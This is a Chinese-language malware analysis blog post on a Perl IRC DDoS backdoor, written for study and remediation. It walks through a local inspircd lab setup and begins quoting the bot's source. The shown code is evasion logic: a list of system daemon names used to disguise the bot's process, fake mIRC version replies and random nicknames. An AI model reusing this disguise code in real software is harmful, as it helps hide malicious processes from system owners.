DDoS Perl IrcBot v1.0分析复现与处置

DDoS Perl IrcBot v1.0分析复现与处置

前言
最近遇到一个基于PERL的IRC后门，通过IRC协议与victim交互，经过简单的分析，搭建环境复现后门的运行流程及深入分析它的原理及行为，最终目的是根据分析结果给出了后门一些处理办法，供大家学习和参考。

IRC
IRC是Internet Relay Chat 的英文缩写，中文一般称为互联网中继聊天。它是由芬兰人Jarkko Oikarinen于1988年首创的一种网络聊天协议。经过十年的发展，目前世界上有超过60个国家提供了IRC的服务。IRC的工作原理非常简单，您只要在自己的PC上运行客户端软件，然后通过因特网以IRC协议连接到一台IRC服务器上即可。它的特点是速度非常之快，聊天时几乎没有延迟的现象，并且只占用很小的带宽资源。所有用户可以在一个被称为\”Channel\”（频道）的地方就某一话题进行交谈或密谈。每个IRC的使用者都有一个Nickname（昵称）。

---

环境搭建

在分析之前，先把环境搭建好，方便后续的分析。

---

• 系统：Ubuntu 16.04 x64
• Irc服务器：inspircd
• mIRC客户端

inspircd安装与配置

#更新软件包
sudo apt-get update
#安装inspircd
sudo apt-get install inspircd
#编辑配置文件
sudo vim /etc/inspircd/inspircd.conf

配置文件中需要修改的地方：

#配置server
<server name="irc.tester.com"
description="Local IRC Server"
Id="12b"                                  #添加ID ，参数形式为“两个数字和一个字母”
network="testIRC">

#配置bind地址
<bind address="0.0.0.0" port="6667" type="clients">

#配置系统关闭和重启（可选）
<power diepass="tester1" restartpass="tester2" pause="2">

#配置管理员
<oper name="root"
      password="123456"
      host=*@localhost,**@xxx.xxx.xx.xxx   #其中xxx.xxx.xxx.xx为你的服务器ip
      type="NetAdmin">

启动inspircd服务器

#启动服务器
sudo service inspircd start

启动之后使用netstat -antp命令查看6667端口是否对外开放(0.0.0.0),否则尝试重启

#重启服务器
sudo service inspircd restart

---

代码分析

样本下载：Ircbot

编辑器打开Perl样本，发现代码不足1000行，但是从它的注释中可以看出，它包含的功能还很多，打开代码从头到尾仔细分析一波，下面是它的运行流程图，很简单先看看。

1.变量申明，代码一开始申明了很多变量，虽然现在不知道要干嘛，暂且过眼记录一下。

#定义进程名数组
my @rps = ("/usr/local/apache/bin/httpd -DSSL",
                   "/usr/sbin/httpd -k start -DSSL",
           "/usr/sbin/httpd",
                   "/usr/sbin/sshd -i",
                   "/usr/sbin/sshd",
               "/usr/sbin/sshd -D",
           "/usr/sbin/apache2 -k start",
               "/sbin/syslogd",
               "/sbin/klogd -c 1 -x -x",
                   "/usr/sbin/acpid",
                   "/usr/sbin/cron");
#随机选择一个进程名 
my $process = $rps[rand scalar @rps]; 

#定义mIRC版本数组
my @rversion = ("\001VERSION - unknown command.\001",
                                "\001mIRC v5.91 K.Mardam-Bey\001",
                                "\001mIRC v6.2 Khaled Mardam-Bey\001",
                                "\001mIRC v6.03 Khaled Mardam-Bey\001",
                                "\001mIRC v6.14 Khaled Mardam-Bey\001",
                                "\001mIRC v6.15 Khaled Mardam-Bey\001",
                                "\001mIRC v6.16 Khaled Mardam-Bey\001",
                                "\001mIRC v6.17 Khaled Mardam-Bey\001",
                                "\001mIRC v6.21 Khaled Mardam-Bey\001",
                                "\001mIRC v6.31 Khaled Mardam-Bey\001",
                                "\001mIRC v7.15 Khaled Mardam-Bey\001");
#随机选择一个IRC版本号
my $vers = $rversion[rand scalar @rversion];

#定义一个较大的昵称数组
my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
                                "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
                                "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
                                "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
                                "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
                                "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
                                "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
                                "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
                                "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
                                "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
                                "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
                                "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
                                "eurotrash","fairsight","fin","fireaway","fjortisch",